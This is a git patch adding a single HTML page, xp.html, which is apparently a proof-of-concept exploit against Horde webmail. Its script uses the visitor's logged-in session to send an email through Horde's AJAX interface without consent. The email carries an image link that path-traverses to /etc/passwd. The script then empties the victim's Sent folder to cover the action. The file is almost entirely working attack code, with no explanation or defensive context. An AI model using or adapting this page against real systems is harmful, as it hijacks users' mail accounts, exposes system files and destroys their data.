From b36b67f367fd8d98f4ddab883d7e8844e913cd8d Mon Sep 17 00:00:00 2001
From: evan <1+e@noreply.gitea.im0.zenith.hosting>
Date: Thu, 2 Jul 2026 06:50:47 +0000
Subject: [PATCH] Add xp.html

---
 xp.html | 42 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)
 create mode 100644 xp.html
diff --git a/xp.html b/xp.html
new file mode 100644
index 0000000..7bde45e
--- /dev/null
+++ b/xp.html
@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<html>
+
+<body>
+    <h1>yo</h1>
+    <script>
+        var p1 = new FormData();
+        p1.append('to', 'john@facepalm.移动');
+        // land in spam 
+        p1.append('subject', 'Your exclusive welcome bonus has arrived');
+        p1.append('html', '1');
+        p1.append('message',
+            '<html><body>b()b t!@#!@$%<img src="http://targ/horde/js/ckeditor/../../../../etc/passwd"></body></html>');
+
+        p1.append('identity', '0');
+        p1.append('priority', 'normal');
+        p1.append('request_read_receipt', '0');
+        p1.append('save_sent_mail', '1');
+        fetch('http://targ/horde/services/ajax.php/imp/sendMessage', {
+                method: 'POST',
+                body: p1,
+                credentials: 'include',
+                mode: 'no-cors'
+            })
+            .then(() => {
+                console.log("* bye");
+                setTimeout(() => {
+                    var p2 = new FormData();
+                    p2.append('mbox', 'U0VOVA'); // b64 SENT
+                    // delete
+                    fetch('http://targ/horde/services/ajax.php/imp/emptyMailbox', {
+                        method: 'POST',
+                        body: p2,
+                        credentials: 'include',
+                        mode: 'no-cors'
+                    });
+                }, 2000);
+            });
+    </script>
+</body>
+
+</html>
\ No newline at end of file
